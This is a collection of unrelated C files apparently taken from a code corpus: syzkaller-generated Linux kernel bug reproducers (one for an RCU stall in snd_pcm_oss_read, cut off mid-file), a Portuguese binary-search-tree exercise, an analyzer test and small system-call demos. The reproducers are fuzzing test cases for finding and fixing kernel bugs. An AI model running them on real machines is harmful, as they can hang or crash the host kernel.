#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/if_arp.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>
__attribute__((noreturn)) static void doexit(int status)
{
volatile unsigned i;
syscall(__NR_exit_group, status);
for (i = 0;; i++) {
}
}
#include <errno.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
const int kFailStatus = 67;
const int kRetryStatus = 69;
static void fail(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus);
}
#define BITMASK_LEN(type, bf_len) (type)((1ull << (bf_len)) - 1)
#define BITMASK_LEN_OFF(type, bf_off, bf_len) \
(type)(BITMASK_LEN(type, (bf_len)) << (bf_off))
#define STORE_BY_BITMASK(type, addr, val, bf_off, bf_len) \
if ((bf_off) == 0 && (bf_len) == 0) { \
*(type*)(addr) = (type)(val); \
} else { \
type new_val = *(type*)(addr); \
new_val &= ~BITMASK_LEN_OFF(type, (bf_off), (bf_len)); \
new_val |= ((type)(val)&BITMASK_LEN(type, (bf_len))) << (bf_off); \
*(type*)(addr) = new_val; \
}
static void vsnprintf_check(char* str, size_t size, const char* format,
va_list args)
{
int rv;
rv = vsnprintf(str, size, format, args);
if (rv < 0)
fail("tun: snprintf failed");
if ((size_t)rv >= size)
fail("tun: string '%s...' doesn't fit into buffer", str);
}
#define COMMAND_MAX_LEN 128
#define PATH_PREFIX \
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin "
#define PATH_PREFIX_LEN (sizeof(PATH_PREFIX) - 1)
static void execute_command(bool panic, const char* format, ...)
{
va_list args;
char command[PATH_PREFIX_LEN + COMMAND_MAX_LEN];
int rv;
va_start(args, format);
memcpy(command, PATH_PREFIX, PATH_PREFIX_LEN);
vsnprintf_check(command + PATH_PREFIX_LEN, COMMAND_MAX_LEN, format, args);
va_end(args);
rv = system(command);
if (rv) {
if (panic)
fail("command '%s' failed: %d", &command[0], rv);
}
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02hx"
#define DEV_MAC "aa:aa:aa:aa:aa:%02hx"
static void snprintf_check(char* str, size_t size, const char* format, ...)
{
va_list args;
va_start(args, format);
vsnprintf_check(str, size, format, args);
va_end(args);
}
static void initialize_netdevices(void)
{
unsigned i;
const char* devtypes[] = {"ip6gretap", "bridge", "vcan", "bond", "team"};
const char* devnames[] = {"lo",
"sit0",
"bridge0",
"vcan0",
"tunl0",
"gre0",
"gretap0",
"ip_vti0",
"ip6_vti0",
"ip6tnl0",
"ip6gre0",
"ip6gretap0",
"erspan0",
"bond0",
"veth0",
"veth1",
"team0",
"veth0_to_bridge",
"veth1_to_bridge",
"veth0_to_bond",
"veth1_to_bond",
"veth0_to_team",
"veth1_to_team"};
const char* devmasters[] = {"bridge", "bond", "team"};
for (i = 0; i < sizeof(devtypes) / (sizeof(devtypes[0])); i++)
execute_command(0, "ip link add dev %s0 type %s", devtypes[i], devtypes[i]);
execute_command(0, "ip link add type veth");
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
execute_command(
0, "ip link add name %s_slave_0 type veth peer name veth0_to_%s",
devmasters[i], devmasters[i]);
execute_command(
0, "ip link add name %s_slave_1 type veth peer name veth1_to_%s",
devmasters[i], devmasters[i]);
execute_command(0, "ip link set %s_slave_0 master %s0", devmasters[i],
devmasters[i]);
execute_command(0, "ip link set %s_slave_1 master %s0", devmasters[i],
devmasters[i]);
execute_command(0, "ip link set veth0_to_%s up", devmasters[i]);
execute_command(0, "ip link set veth1_to_%s up", devmasters[i]);
}
execute_command(0, "ip link set bridge_slave_0 up");
execute_command(0, "ip link set bridge_slave_1 up");
for (i = 0; i < sizeof(devnames) / (sizeof(devnames[0])); i++) {
char addr[32];
snprintf_check(addr, sizeof(addr), DEV_IPV4, i + 10);
execute_command(0, "ip -4 addr add %s/24 dev %s", addr, devnames[i]);
snprintf_check(addr, sizeof(addr), DEV_IPV6, i + 10);
execute_command(0, "ip -6 addr add %s/120 dev %s", addr, devnames[i]);
snprintf_check(addr, sizeof(addr), DEV_MAC, i + 10);
execute_command(0, "ip link set dev %s address %s", devnames[i], addr);
execute_command(0, "ip link set dev %s up", devnames[i]);
}
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = 160 << 20;
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 8 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
}
int wait_for_loop(int pid)
{
if (pid < 0)
fail("sandbox fork failed");
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
sandbox_common();
if (unshare(CLONE_NEWNET)) {
}
initialize_netdevices();
loop();
doexit(1);
}
struct thread_t {
int created, running, call;
pthread_t th;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
return 0;
}
static void execute(int num_calls)
{
int call, thread;
running = 0;
for (call = 0; call < num_calls; call++) {
for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
pthread_create(&th->th, &attr, thr, th);
}
if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
if (collide && call % 2)
break;
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
if (__atomic_load_n(&running, __ATOMIC_RELAXED))
usleep((call == num_calls - 1) ? 10000 : 1000);
break;
}
}
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call)
{
long res;
switch (call) {
case 0:
*(uint64_t*)0x20000740 = 0x20000040;
*(uint16_t*)0x20000040 = 2;
*(uint16_t*)0x20000042 = htobe16(0);
*(uint32_t*)0x20000044 = htobe32(0xe0000002);
*(uint8_t*)0x20000048 = 0;
*(uint8_t*)0x20000049 = 0;
*(uint8_t*)0x2000004a = 0;
*(uint8_t*)0x2000004b = 0;
*(uint8_t*)0x2000004c = 0;
*(uint8_t*)0x2000004d = 0;
*(uint8_t*)0x2000004e = 0;
*(uint8_t*)0x2000004f = 0;
*(uint32_t*)0x20000748 = 0x80;
*(uint64_t*)0x20000750 = 0x20000200;
*(uint64_t*)0x20000758 = 0;
*(uint64_t*)0x20000760 = 0x20000140;
memcpy((void*)0x20000140, "\x20\x00\x00\x00\x4a\xf2\xf9\x0d\x54\x4f\x25\x66"
"\xff\xc7\xe5\x1a\xbb\xe8\xb0\x9f\x77\xae\x51\xbc"
"\x86",
25);
*(uint64_t*)0x20000768 = 0x19;
*(uint32_t*)0x20000770 = 0;
syscall(__NR_sendmsg, -1, 0x20000740, 0);
break;
case 1:
res = syscall(__NR_socket, 0x11, 3, 0);
if (res != -1)
r[0] = res;
break;
case 2:
*(uint64_t*)0x20000340 = 0;
*(uint32_t*)0x20000348 = 0;
*(uint64_t*)0x20000350 = 0x20000040;
*(uint64_t*)0x20000040 = 0x20000140;
*(uint64_t*)0x20000048 = 0;
*(uint64_t*)0x20000358 = 1;
*(uint64_t*)0x20000360 = 0;
*(uint64_t*)0x20000368 = 0;
*(uint32_t*)0x20000370 = 0;
syscall(__NR_sendmsg, -1, 0x20000340, 0);
break;
case 3:
*(uint64_t*)0x20000380 = 0x20000140;
*(uint16_t*)0x20000140 = 4;
*(uint16_t*)0x20000142 = htobe16(1);
*(uint32_t*)0x20000144 = htobe32(0);
memcpy((void*)0x20000148, "\x09\x50\xfe\x4a\xdb\xa7", 6);
*(uint8_t*)0x2000014e = 0;
*(uint8_t*)0x2000014f = 0;
*(uint32_t*)0x20000388 = 0x80;
*(uint64_t*)0x20000390 = 0x20000000;
*(uint64_t*)0x20000398 = 0;
*(uint64_t*)0x200003a0 = 0x20000240;
*(uint64_t*)0x200003a8 = 0;
*(uint32_t*)0x200003b0 = 0;
syscall(__NR_sendmsg, -1, 0x20000380, 0);
break;
case 4:
*(uint32_t*)0x20000080 = -1;
syscall(__NR_setsockopt, r[0], 0x107, 0xf, 0x20000080, 0x1ce);
break;
case 5:
*(uint64_t*)0x20000480 = 0x200000c0;
*(uint16_t*)0x200000c0 = 4;
*(uint16_t*)0x200000c2 = htobe16(0x894f);
*(uint32_t*)0x200000c4 = 5;
*(uint8_t*)0x200000c8 = 0xfe;
*(uint8_t*)0x200000c9 = 0x80;
*(uint8_t*)0x200000ca = 0;
*(uint8_t*)0x200000cb = 0;
*(uint8_t*)0x200000cc = 0;
*(uint8_t*)0x200000cd = 0;
*(uint8_t*)0x200000ce = 0;
*(uint8_t*)0x200000cf = 0;
*(uint8_t*)0x200000d0 = 0;
*(uint8_t*)0x200000d1 = 0;
*(uint8_t*)0x200000d2 = 0;
*(uint8_t*)0x200000d3 = 0;
*(uint8_t*)0x200000d4 = 0;
*(uint8_t*)0x200000d5 = 0;
*(uint8_t*)0x200000d6 = 0;
*(uint8_t*)0x200000d7 = 0;
*(uint32_t*)0x200000d8 = 0;
*(uint32_t*)0x20000488 = 0x80;
*(uint64_t*)0x20000490 = 0x20000340;
*(uint64_t*)0x20000498 = 0x25d;
*(uint64_t*)0x200004a0 = 0x20000380;
*(uint64_t*)0x200004a8 = 0;
*(uint32_t*)0x200004b0 = 0;
syscall(__NR_sendmsg, r[0], 0x20000480, 0);
break;
case 6:
*(uint32_t*)0x20000140 = 2;
*(uint32_t*)0x20000144 = 0x70;
*(uint8_t*)0x20000148 = 0;
*(uint8_t*)0x20000149 = -1;
*(uint8_t*)0x2000014a = 4;
*(uint8_t*)0x2000014b = 0x38;
*(uint32_t*)0x2000014c = 0;
*(uint64_t*)0x20000150 = 9;
*(uint64_t*)0x20000158 = 0x40000;
*(uint64_t*)0x20000160 = 8;
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x101, 0, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 2, 1, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 7, 2, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x200, 3, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x100000001, 4, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 7, 5, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0, 6, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 5, 7, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 4, 8, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 4, 9, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 3, 10, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0xb84, 11, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 8, 12, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x8000, 13, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x2ef, 14, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x212, 15, 2);
STORE_BY_BITMASK(uint64_t, 0x20000168, 2, 17, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 4, 18, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0xffff, 19, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 5, 20, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 4, 21, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 7, 22, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 5, 23, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x601d, 24, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x100000001, 25, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x93fa, 26, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 4, 27, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0x80000001, 28, 1);
STORE_BY_BITMASK(uint64_t, 0x20000168, 0, 29, 35);
*(uint32_t*)0x20000170 = 7;
*(uint32_t*)0x20000174 = 4;
*(uint64_t*)0x20000178 = 9;
*(uint64_t*)0x20000180 = 3;
*(uint64_t*)0x20000188 = 0x802;
*(uint64_t*)0x20000190 = 0x400;
*(uint32_t*)0x20000198 = 6;
*(uint32_t*)0x2000019c = 6;
*(uint64_t*)0x200001a0 = 0;
*(uint32_t*)0x200001a8 = 7;
*(uint16_t*)0x200001ac = 0x338;
*(uint16_t*)0x200001ae = 0;
syscall(__NR_perf_event_open, 0x20000140, -1, 4, 0xffffff9c, 4);
break;
}
}
void loop()
{
execute(7);
collide = 1;
execute(7);
}
int main()
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
do_sandbox_none();
return 0;
}
|
the_stack_data/114840.c | #include <stdio.h>
extern int B(void);
int A(void);
int A() {
puts("-- A() return B()");
return B();
} |
the_stack_data/25873.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct No {
long long int numero;
char * nome;
struct No *esq, *dir, *pai;
} No;
typedef No * p_no;
// cria uma árvore nula.
p_no criar_arvore(){
return NULL;
}
void imprimir_arvore(p_no raiz){
if(raiz != NULL){
imprimir_arvore(raiz->esq);
printf("%s\n", raiz->nome);
imprimir_arvore(raiz->dir);
}
}
// insere o numero na raíz em questão.
p_no inserir(p_no raiz, long long int numero, char * nome){
p_no novo;
if(raiz == NULL){
novo = malloc(sizeof(No)); // aloca e define os dados.
novo->pai = NULL; // pai é nulo, e continua sendo se for inserir no primeiro elemento da raiz.
novo->esq = novo->dir = NULL;
novo->numero = numero;
novo->nome = nome;
return novo;
}
if(numero < raiz->numero){
raiz->esq = inserir(raiz->esq, numero, nome); // chama a inserir na esquerda até chegar na posição nula.
raiz->esq->pai = raiz; // define o pai da esquerda como a raiz.
} else {
raiz->dir = inserir(raiz->dir, numero, nome); // chama a inserir na direita até chegar na posição nula.
raiz->dir->pai = raiz; // define o pai da direita como a raiz.
}
return raiz;
}
p_no minimo(p_no raiz){
while(raiz != NULL && raiz->esq != NULL){
printf("1");
raiz = raiz->esq;
}
return raiz;
}
p_no maximo(p_no raiz){
while(raiz != NULL && raiz->dir != NULL){
printf("2");
raiz = raiz->dir;
}
return raiz;
}
void remover_sucessor(p_no raiz){
p_no min = minimo(raiz->dir);
if(min->pai->esq == min){ // caso em que o minimo não é filho da raiz
min->pai->esq = min->dir;
if(min->dir != NULL) // se a direita do minimo nao for nula, define o pai dela como o pai do minimo
min->dir->pai = min->pai;
}
else{ // caso em que o mínimo é filho da raiz
min->pai->dir = min->dir;
if(min->dir != NULL) // se a esquerda do minimo nao for nula, define o pai dela como o pai do minimo
min->dir->pai = min->pai;
}
raiz->numero = min->numero; // define os valores da raiz como os do minimo
free(raiz->nome);
raiz->nome = min->nome;
free(min); // libera o minimo
}
// remove e limpa o no em questao da arvore.
p_no remover(p_no raiz, int numero){
if(raiz == NULL)
return NULL;
if(numero < raiz->numero){
raiz->esq = remover(raiz->esq, numero); // remove na subarvore esquerda se o valor tiver nela.
if(raiz->esq != NULL) // se houver elementos na raiz esquerda, defino o pai dela como a raiz anterior.
raiz->esq->pai = raiz;
} else if(numero > raiz->numero) {
raiz->dir = remover(raiz->dir, numero); // remove na subarvore direita se o valor tiver nela.
if(raiz->dir != NULL) // se houver elementos na raiz direita, defino o pai dela como a raiz anterior.
raiz->dir->pai = raiz;
} else if(raiz->esq == NULL) { // se o valor for igual ao da raiz e a esquerda for nula,
p_no aux = raiz->dir;
free(raiz->nome);
free(raiz); // libera o nó e o nome;
return aux; // retorna a raiz direita
} else if(raiz->dir == NULL) { // se o valor for igual ao da raiz e a direita for nula,
p_no aux = raiz->esq;
free(raiz->nome);
free(raiz); // libera o nó e o nome
return aux; // retorna a raiz esquerda
} else { // se o valor for o mesmo e nem a direita nem a esquerda for nula, remove o sucessor e troca os valores do sucessor pela raiz;
remover_sucessor(raiz);
}
return raiz;
}
// busca o numero em questão na árvore.
p_no buscar(p_no raiz, int numero){
while(raiz != NULL && numero != raiz->numero){
printf("3");
if(numero < raiz->numero)
raiz = raiz->esq;
else
raiz = raiz->dir;
}
return raiz;
}
p_no ancestral_a_direita(p_no x) {
if (x == NULL)
return NULL;
if (x->pai == NULL || x->pai->esq == x) // retorna o pai se o filho da esquerda do pai for o próprio x.
return x->pai;
else
return ancestral_a_direita(x->pai); // se não, continua a recursão com o pai.
}
p_no ancestral_a_esquerda(p_no x) {
if(x->numero == 389356){
printf("é aqui 1");
}
if (x == NULL){
printf("é aqui 2");
return NULL;
}
if (x->pai == NULL || x->pai->dir == x){ // retorna o pai se o filho da direita do pai for o próprio x.
printf("é aqui 3");
return x->pai;
}
else{
printf("é aqui 4");
printf("%s %lld REPETINDO", x->nome, x->numero);
return ancestral_a_esquerda(x->pai); // se não, continua a recursão com o pai.
}
}
// acha o próximo nó da sequência.
p_no sucessor(p_no x){
if (x->dir != NULL)
return minimo(x->dir); // se houver nós a direita, o minimo desses nós vai ser o sucessor.
else
return ancestral_a_direita(x); // se não, o sucessor vai ser o ancestral a direita.
}
// acha o nó anterior da sequência.
p_no antecessor(p_no x){
if (x->esq != NULL){
return maximo(x->esq); // se houver nós a esquerda, o maximo desses nós vai ser o antecessor.
} else{
return ancestral_a_esquerda(x); // se não, o antecessor vai ser o ancestral a esquerda.
}
}
p_no buscar_concatenar_triade_r(p_no raiz, long long int valor, long long int mensageiro, int ordem, char ** string){
if(ordem == 3){
printf("foi pra ordem 3");
p_no atual = maximo(raiz);
int i, j;
while(atual != NULL){ // circula pelos nós restantes
printf("4");
if((valor + atual->numero) == mensageiro){ // até achar um em que a soma dê o valor do mensageiro
printf("ENCONTREI UM CORNO");
char * string_nova = malloc((strlen(*string) + strlen(atual->nome) + 1)*sizeof(char)); // copia a concatenação da string antiga e a atual para um novo malloc
for(i = 0; atual->nome[i] != '\0'; i++){
string_nova[i] = atual->nome[i];
}
for(j = 0; (*string)[j] != '\0'; j++){
string_nova[i+j] = (*string)[j];
}
string_nova[i+j] = '\0';
raiz = remover(raiz, atual->numero); // remove o ultimo nó da raiz
raiz = inserir(raiz, mensageiro, string_nova); // adiciona o nó concatenado e devolve
free(*string); // libera a string antiga
return raiz;
}
printf("\n %s %lld \n", atual->nome, atual->numero);
atual = antecessor(atual);
}
}
else {
p_no atual = maximo(raiz), resultado, aux = criar_arvore();
char * nome;
char * string_anterior = NULL;
char * string_nova = NULL;
int i, j;
while(atual != NULL){
printf("5");
if(atual->numero < mensageiro){
nome = malloc((strlen(atual->nome)+1)*sizeof(char)); // cria um novo nome para a auxiliar
for(i = 0; atual->nome[i] != '\0'; i++){ // copia o nome para o novo nome da auxiliar
nome[i] = atual->nome[i];
}
nome[i] = atual->nome[i];
aux = inserir(aux, atual->numero, nome); // cria uma auxiliar com os dados do atual
if(*string != NULL){
string_anterior = malloc((strlen(*string)+1)*sizeof(char)); // copia a string atual para a anterior, caso o backtracking dê errado.
for(i = 0; (*string)[i] != '\0'; i++){
string_anterior[i] = (*string)[i];
}
string_anterior[i] = '\0';
string_nova = malloc((strlen(*string) + strlen(atual->nome) + 1)*sizeof(char)); // copia a concatenação da string antiga e a atual para um novo malloc
for(i = 0; atual->nome[i] != '\0'; i++){
string_nova[i] = atual->nome[i];
}
for(j = 0; (*string)[j] != '\0'; j++){
string_nova[i+j] = (*string)[j];
}
string_nova[i+j] = '\0';
free(*string); // libera a string antiga
*string = string_nova; // associa a string à string nova, para ser usada na recursão.
}
else{
string_nova = malloc((strlen(atual->nome) + 1)*sizeof(char)); // copia a concatenação da string antiga e a atual para um novo malloc
for(j = 0; atual->nome[j] != '\0'; j++){
string_nova[j] = atual->nome[j];
}
string_nova[j] = '\0';
*string = string_nova; // associa a string à string nova, para ser usada na recursão.
}
raiz = remover(raiz, atual->numero); // remove da arvore para fazer o backtracking
resultado = buscar_concatenar_triade_r(raiz, valor+aux->numero, mensageiro, ordem+1, string); // executa o backtracking, continua se não for nulo, tenta novamente se for;
if(resultado != NULL){ // retorna o nó se a função não retornar nulo, tenta novamente se for;
aux = remover(aux, aux->numero); // remove e limpa o auxiliar
if(string_anterior != NULL){
free(string_anterior); // libera a string anterior, já que a nova já foi liberada pela ordem 3;
}
return resultado;
}
free(*string); // limpa a string concatenada que não deu certo
*string = string_anterior; // define a string como a anterior novamente, para continuar no backtracking.
nome = malloc((strlen(aux->nome) + 1)*sizeof(char)); // cria um novo nome para a atual
for(i = 0; aux->nome[i] != '\0'; i++){ // copia o nome para o novo nome da atual
nome[i] = aux->nome[i];
}
nome[i] = aux->nome[i];
raiz = inserir(raiz, aux->numero, nome); // insere os dados da aux novamente na raiz para continuar o backtracking
atual = buscar(raiz, aux->numero); // associa atual ao valor dentro da raiz novamente.
aux = remover(aux, aux->numero); // remove os dados da aux.
}
atual = antecessor(atual);
}
}
return NULL; // se não existir, vai retornar NULL.
}
// busca a tríade que coincide com o valor do mensageiro e depois concatena. Devolve a raíz da árvore com o cartão concatenado.
p_no buscar_concatenar_triade(p_no raiz, long long int mensageiro){
int ordem = 1;
char * string = NULL;
return buscar_concatenar_triade_r(raiz, 0, mensageiro, ordem, &string); // chama a funçao recursiva com a ordem = 1.
}
// retorna a árvore após a leitura dos nós.
p_no le_mensagens(p_no raiz, int m){
char * nome;
long long int numero;
for(int i = 0; i < m; i++){
nome = malloc(6 * sizeof(char));
scanf("%lld %*c%[^\"]%*c ", &numero, nome);
raiz = inserir(raiz, numero, nome);
}
return raiz;
}
// imprime a arvore restante em ordem crescente e limpa-a.
void imprime_limpa_arvore(p_no raiz){
p_no atual;
while (raiz != NULL){
printf("6");
atual = minimo(raiz);
printf("%s", atual->nome);
raiz = remover(raiz, atual->numero);
}
printf("\n");
}
int main(){
int m, n;
long long int mensageiro;
p_no arvore;
while(scanf("%d %d\n", &m, &n) != EOF){ // enquanto a leitura de m e n não chegar no final do arquivo, execute:
printf("7");
arvore = criar_arvore();
arvore = le_mensagens(arvore, m);
for(int i = 0; i < n; i++){ // lê os mensageiros um por um e vai executando as buscas e concatenações de tríades.
scanf("%lld ", &mensageiro);
arvore = buscar_concatenar_triade(arvore, mensageiro);
}
imprime_limpa_arvore(arvore); // imprime a árvore restante e limpa tudo.
}
}
|
the_stack_data/144408.c | // SKIP PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.activated[+] threadJoins --sets exp.apron.privatization mutex-meet-tid
#include <pthread.h>
#include <assert.h>
int g = 10;
int h = 10;
pthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;
pthread_t other_t;
void *t_fun(void *arg) {
int x;
int y;
pthread_mutex_lock(&A);
g = x;
h = y;
pthread_mutex_unlock(&A);
pthread_mutex_lock(&A);
g = x;
h = x;
pthread_mutex_unlock(&A);
return NULL;
}
void *t_benign(void *arg) {
// Without this, it would even succeed without the must joined analysis.
// With it, that is required!
pthread_mutex_lock(&A);
g = 12;
h = 14;
pthread_mutex_unlock(&A);
pthread_mutex_lock(&A);
pthread_create(&other_t, NULL, t_fun, NULL);
pthread_mutex_unlock(&A);
pthread_mutex_lock(&A);
g = 10;
h = 10;
pthread_mutex_unlock(&A);
return NULL;
}
int main(void) {
int t;
pthread_mutex_lock(&A);
g = 12;
h = 14;
pthread_mutex_unlock(&A);
// Force multi-threaded handling
pthread_t id2;
pthread_create(&id2, NULL, t_benign, NULL);
pthread_mutex_lock(&A);
assert(g == h); //UNKNOWN!
pthread_mutex_unlock(&A);
pthread_join(id2, NULL);
pthread_mutex_lock(&A);
assert(g == h); // UNKNOWN!
pthread_mutex_unlock(&A);
pthread_mutex_lock(&A);
pthread_join(other_t, NULL);
pthread_mutex_unlock(&A);
pthread_mutex_lock(&A);
assert(g == h);
pthread_mutex_unlock(&A);
return 0;
}
|
the_stack_data/26700796.c | // Listing 10.3 (setuid-test.c) Setuid Demonstration Program
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
//
// App entry point
//
int main()
{
uid_t ruid = getuid();
uid_t euid = geteuid();
printf("User ID (real): %d\n", ruid);
printf("User ID (Effective): %d\n", euid);
return 0;
}
|
the_stack_data/67325064.c | /* See LICENSE for details */
/* HEADERS */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
/* MACROS */
#define N_CHILDREN 10
/* FUNCTION DEFINITIONS */
int
main(void) {
pid_t pid;
int i;
long int t;
for (i = 0; i < N_CHILDREN; i++) {
t = random() % 10 + 1;
if ((pid = fork()) < 0) {
fprintf(stderr, "Error calling fork\n");
exit(EXIT_FAILURE);
} else if (!pid) {
sleep(10);
pid = getpid();
printf("pid: %d, t: %ld s\n", pid, t);
exit(EXIT_SUCCESS);
}
}
/* wait for each of the children processes */
for (i = 0; i < N_CHILDREN; i++) {
wait(NULL);
}
return 0;
}
|
the_stack_data/145780.c | #include <stdio.h>
#include <stdlib.h>
#define N 5000000
int main(){
double *B, *C;
B = (double*)malloc(sizeof(double) * N);
C = (double*)malloc(sizeof(double) * N);
for(int i = 0; i < N; i++){
B[i] = 1.0;
C[i] = 1.0;
}
double sum = 0;
#pragma omp target data map(to:B[0:N], C[0:N])
#pragma omp target teams distribute parallel for reduction(+:sum) map(tofrom:sum)
for(int i = 0; i < N; i++)
sum += B[i] * C[i];
printf("SUM = %f\n", sum);
if (sum != N){
printf("Failed!\n");
return -1;
} else{
printf("SUCCESS!\n");
}
free(B);
free(C);
return 0;
}
|
the_stack_data/623941.c | #include <unistd.h>
int main(int ac, char** av) {
char* s = av[1];
int i = 0;
while (s[i] != 0) {
char tmp = s[i] - i;
write(1, &tmp, 1);
i++;
}
return 0;
}
|
the_stack_data/77466.c | // INFO: rcu detected stall in snd_pcm_oss_read
// https://syzkaller.appspot.com/bug?id=be292393a21b15b703e80f44d8d086de711bd813
// status:fixed
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \
*(type*)(addr) = \
htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \
(((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
static long syz_open_dev(long a0, long a1, long a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1,
(uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
strncpy(buf, (char*)a0, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
#ifndef __NR_sched_setattr
#define __NR_sched_setattr 314
#endif
uint64_t r[1] = {0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
long res = 0;
memcpy((void*)0x20000040, "/dev/dsp#\x00", 10);
res = syz_open_dev(0x20000040, 1, 0);
if (res != -1)
r[0] = res;
*(uint32_t*)0x2001d000 = 1;
*(uint32_t*)0x2001d004 = 0x70;
*(uint8_t*)0x2001d008 = 0;
*(uint8_t*)0x2001d009 = 0;
*(uint8_t*)0x2001d00a = 0;
*(uint8_t*)0x2001d00b = 0;
*(uint32_t*)0x2001d00c = 0;
*(uint64_t*)0x2001d010 = 0x7f;
*(uint64_t*)0x2001d018 = 0;
